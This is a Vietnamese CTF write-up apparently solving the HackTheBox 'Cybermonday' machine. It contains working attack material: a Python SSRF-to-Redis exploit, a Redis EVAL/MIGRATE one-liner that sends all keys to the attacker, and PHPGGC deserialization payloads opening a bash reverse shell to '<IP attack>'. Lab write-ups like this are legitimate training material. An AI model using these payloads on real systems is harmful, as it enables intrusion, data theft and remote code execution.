Cybermonday

 

Enumeration

Zenmap:

Website:

Kiểm tra website:
Đăng ký một tài khoản và tiếp tục kiểm tra website.

Website debug:

Sau khi kiểm tra kỹ trang web tôi nhận thấy rằng website sẽ tự động mở ra cửa số debug nếu tôi có gắng gây lỗi sql. có 2 cách gây ra điều này login lại với user đã có sẵn hoặc đổi thông tin user trong profile. Cuối cùng tôi nhận được:
Tôi biết rằng đây là Debug của laravel, và hơn thế nữa có vẻ như tồn tại folder git.
Bây giờ tôi đã xác định được có folder git và tôi có thể truy cập nó. Sử dụng git-dumper: git-dumper
Đọc source từ folder git, sử dụng bất kỳ công cụ nào: git, git-gui, ...
Trong source code tại ProfileController.php, nếu không thể lấy được folder git tôi cũng có thể thấy nó trong website debug.
Nhìn vào source code tôi thấy rằng ngoại trừ ["_token","password","password_confirmation"] thì tất cả các tham số truyền vào đều được lưu lại bỏi hàm $user->update($data); sau đó lưu thông tin vào database. Từ source code trong git hoặc debug tôi biết rằng thông tin model của user có dạng như sau:

Website admin:

Tôi thấy ở đây có một key isAdmin là không được truyền vào trong update Profile. Update key isAdmin thành true:
Reload lại website và tôi thấy được kết quả sau:

Webhook:

Truy cập Dashboard website:
Tại đây tôi thấy được một domain mới. Thêm domain và truy cập nó:
Tồn tại thông tin api và method để call api đó:
Thực hiện kiểm tra các api này tôi biết rằng mình có thể đăng ký một tài khoản login xóa webhook, ... Chỉ duy nhất chức năng sendRequest tôi không tim thấy phương thức thực hiện, và api webhooks/create luôn thông báo lỗi Unauthorized. Tôi đoán rằng đây chính là vấn đề. Tôi cần làm cho api này có thể hoạt động được.
Tôi tìm thấy file public key từ domain này:
Tìm kiếm một chút, và tôi có được điều này: Performing an algorithm confusion attack
Phần này sẽ cài đặt trong burp tôi sẽ không nhắc lại phần này trong bài viết.
Sau khi tạo xong tôi được một cặp key như bên dưới.
Thực hiện call api webhooks/create với x-access-token mà tôi đã tạo từ trước đồng thời chuyển hướng tới burp:
Từ đây tôi có thể tạo một action sendRequest.
Chuyển tiếp gói tin này qua Repeater đổi role thành admin, Sign lại và gửi gói tin đi.
Bây giờ tôi đã tạo thành công một api có thể gửi sendRequest. Kiểm tra nó:
Khi đó tôi nhận được kết nối từ server tới máy của mình:
PS D:\thehackbox\Machines\Cybermonday> python  -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.129.**.** - - [21/Aug/2023 23:47:54] "GET / HTTP/1.1" 200 -
Thử trèn một số ký tự đặc biệt, tôi thu được kết quả như sau:
Khi đó tôi nhận được kết nối từ server như sau:
PS D:\thehackbox\Machines\Cybermonday> ncat.exe -l 80
GET
POST / HTTP/1.1
Host: <IP attack>
Accept: */*

Redis

Nhận thấy rằng tôi có thể phân tách nội dung method trong sendRequest.
Trước đó tại tên miền cybermonday.htb tôi biết rằng nó được viết bằng laravel nên nó cũng sẽ theo cấu trúc file của laravel. Tôi kiểm tra một số file có thể tồn tại như .env, Dockerfile,...
Và tôi đã nhận được file .env, Trong đó có chứa nội dung sau:
REDIS_HOST=*****
REDIS_PASSWORD=
REDIS_PORT=6379
REDIS_PREFIX=laravel_session:
CACHE_PREFIX=
Từ redis host mà tôi có, tôi đoán rằng mình có thể khai thác được từ redis.
Tôi thực hiện kiểm tra khai thác như sau với một vài nội dung mà tôi đã tìm thấy: RCE Exploits of Redis Based on Master-Slave Replication Exploiting Redis Through SSRF Attack
Khi đó tôi nhận được kết nối từ redis server có dạng như sau:
Có kết nối này, tôi khẳng định được rằng có tồn tại redis server trên box.
Sau khi chạy xong câu lệnh này tôi thấy đây là một sai lầm của mình khi sử dụng điều này, nó cho tôi biết rằng tôi có thể chèn lệnh vào redis server nhưng nó gây cho tôi một lỗi website như sau:
Tôi kết thúc slaveof để đóng lỗi này, ngoài ra còn một số cách khác.
Sau khi chạy lệnh này tôi thấy rằng website đã trở lại bình thường.
Tìm cách để có thể xem các key trong redis.
Để lấy được tất cả các key trong redis tôi sử dụng lệnh KEYS: KEYS
Bên cạch đó tôi cần viết một tập lệnh bằng cách sử dụng EVAL nó sử dụng ngôn ngữ lua với mục đính duyệt qua tất cả các key mà tôi lấy được trong redis: EVAL
Lệnh MIGRATE trong redis có thể giúp tôi thực hiện việc gửi key và value để máy tôi: MIGRATE
EVAL 'for k,v in pairs(redis.call(\"KEYS\", \"*\")) do redis.pcall(\"MIGRATE\",\"<IP attack>\",\"6379\",v,0,10000) end' 0\r\n\r\n
Gửi lệnh trên:

Sau khi gửi tôi nhận được kết nối sau đến từ server:

Gaining access www-data

Tại đây tôi thấy trong laravel_session:** chứ một payload có dạng serialize. tôi nghĩ rằng mình có thể ghi đè chúng và giúp tôi thực hiện shell, Sử dụng PHPGGC: PHPGGC
Để thực hiện thành công điều này tôi đưa ra một mã khai thác như sau:
import requests
from base64 import b64decode
import subprocess

CLRF = "\r\n"

def encode_cmd_arr(arr):
    cmd = ""
    cmd += "*" + str(len(arr))
    for arg in arr:
        cmd += CLRF + "$" + str(len(arg))
        if isinstance(arg, bytes):
            arg = arg.decode()
        cmd += CLRF + arg
    cmd += "\r\n"
    return cmd

def encode_cmd(raw_cmd):
    return encode_cmd_arr(raw_cmd.split(" "))

b64_payload = subprocess.check_output("""./phpggc/phpggc Monolog/RCE1 system "bash -c 'bash -i >& /dev/tcp/<IP attack>/8888 0>&1'" -A | base64 -w0""", shell=True).decode().strip()

payload  = CLRF
payload += encode_cmd_arr(['SET', 'laravel_session:b55dpnaGBgJLHzsZABshRW2rj3Q0uTtVkZMkZ1hb', b64decode(b64_payload)])

r = requests.post('http://webhooks-api-beta.cybermonday.htb/webhooks/c08b88f2-f22d-4559-8360-a0421d851343', json={
    'url': 'http://*****:6379',
    'method': payload
}, proxies={
    'http': 'http://<IP burp proxy>:<PORT burp proxy>'
})

print(r.text)
Có rất nhiều payload khác nhau. Tôi sẽ thử nhiệm những payload khác theo cách thủ công sau.
Sau khi thực hiện đoạn mã trên, tôi kiểm tra lại key redis đã được thay đổi hay chưa:
Tôi thấy rằng nội dung key đã được thay đổi, Reload lại website và tôi có được revershell:

Method New

Tôi biết rằng khi tôi nhận được file .env:
APP_NAME=CyberMonday
APP_ENV=local
APP_KEY=base64:*****************************************zA=
APP_DEBUG=true
APP_URL=http://cybermonday.htb
Tôi có APP_KEY, Tìm kiếm khai thác Laravel: Laravel
Thực hiện giả mã token với app_key:
Sử dụng burp tôi có token sau:
Sửa lại code:
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv):
    global key
    AES.key_size = [len(key)]
    crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
    return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
    global key
    AES.key_size = [len(key)]
    crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
    return crypt_object.encrypt(value)


def decrypt(bstring):
    global key
    dic = json.loads(base64.b64decode(bstring).decode())
    mac = dic['mac']
    value = bytes(dic['value'], 'utf-8')
    iv = bytes(dic['iv'], 'utf-8')
    if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
        return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
        #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
    return ''


def encrypt(string):
    global key
    iv = os.urandom(16)
    #string = dumps(string)
    padding = 16 - len(string) % 16
    string += bytes(chr(padding) * padding, 'utf-8')
    value = base64.b64encode(mcrypt_encrypt(string, iv))
    iv = base64.b64encode(iv)
    mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
    dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
    return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='*****************************************zA='
key = base64.b64decode(app_key)
print(decrypt('eyJpdiI6IktSSi9XT3RVdEk2eFpkelBKRXBldkE9PSIsInZhbHVlIjoiZDl1U2lVbnBZbFJuWWR6UEVqTXJUSnRwYytuSVJqeFVWY2hUUWw5RXZneis3QUpyY0U1a0NQU05EUTFmRW55OVQ3WDMxVTBXeUVHVTFqekNSajNGa3djdnFiWFdnU3lZNDhWaTdrWGF6R1p5ZHk3eUIyQ1hZSkRFMHpZNktoclkiLCJtYWMiOiJhMDE0NjQyN2QxYzY3YmExN2ZhYmI1NmE2ZDA1ODQzNWJiYzYyM2Y5MGE0YTJiNjAzNjk2NWYyMDAxMTMzNGFmIiwidGFnIjoiIn0='))
Chạy khai thác:
Tôi decode thành công token và thấy key: LJyQuM2Q5ZO2IHwsFtQyPiNjANJaq4F8GaiGSqR2
Kiểm tra xem key có tồn tại trong redis không:
MIGRATE <IP attack> 6379 laravel_session:LJyQuM2Q5ZO2IHwsFtQyPiNjANJaq4F8GaiGSqR2 0 5000\r\n\r\n
Sau đó, tôi nhận được kết nối từ server như sau:
Tôi biết rằng có tồn tại key trên redis.
Bắt đầu khai thác, tôi tạo payload:
$ ./phpggc/phpggc Monolog/RCE1 system "bash -c 'bash -i >& /dev/tcp/<ip attack>/8888 0>&1'" -A
O:32:"Monolog\Handler\SyslogUdpHandler":1:{S:9:"\00\2a\00\73\6f\63\6b\65\74";O:29:"Monolog\Handler\BufferHandler":7:{S:10:"\00\2a\00\68\61\6e\64\6c\65\72";r:2;S:13:"\00\2a\00\62\75\66\66\65\72\53\69\7a\65";i:-1;S:9:"\00\2a\00\62\75\66\66\65\72";a:1:{i:0;a:2:{i:0;S:50:"\62\61\73\68\20\2d\63\20\27\62\61\73\68\20\2d\69\20\3e\26\20\2f\64\65\76\2f\74\63\70\2f\31\30\2e\31\30\2e\31\36\2e\34\2f\38\38\38\38\20\30\3e\26\31\27";S:5:"\6c\65\76\65\6c";N;}}S:8:"\00\2a\00\6c\65\76\65\6c";N;S:14:"\00\2a\00\69\6e\69\74\69\61\6c\69\7a\65\64";b:1;S:14:"\00\2a\00\62\75\66\66\65\72\4c\69\6d\69\74";i:-1;S:13:"\00\2a\00\70\72\6f\63\65\73\73\6f\72\73";a:2:{i:0;S:7:"\63\75\72\72\65\6e\74";i:1;S:6:"\73\79\73\74\65\6d";}}}
Sau đó tôi sửa key trong redis server thành payload tôi vừa tạo:
Reload lại website và tôi nhận được:

Ngoài ra tôi cũng có thể sử dụng slaveof:
Tôi start server redis ở trên máy của tôi:
Kết nối redis server trên box với redis server trên máy của tôi:
Khi đó trong log redis server của tôi sẽ nhận được như sau:
Nhưng website hiện tại của tôi sẽ bị lỗi như lúc trước tôi đã đề cập, để sửa nó tôi gửi như sau:
Bây giờ tôi giải mã tocken và tạo payload như đã làm ở các bước trước đây và thực hiện đồng bộ key với redis trên hộp.
Reload website và tôi nhận được shell.

*note: Khi nhận được shell tôi luôn gặp lỗi website 503, để hạn chế điều này sau khi nhận shell tôi cần gọi lệnh xóa key mà tôi vừa thay đổi.


Dryu8

Dryu8 is just a newbie in pentesting and loves to drink beer. I will be happy if you can donate me with a beer.

Post a Comment

Previous Post Next Post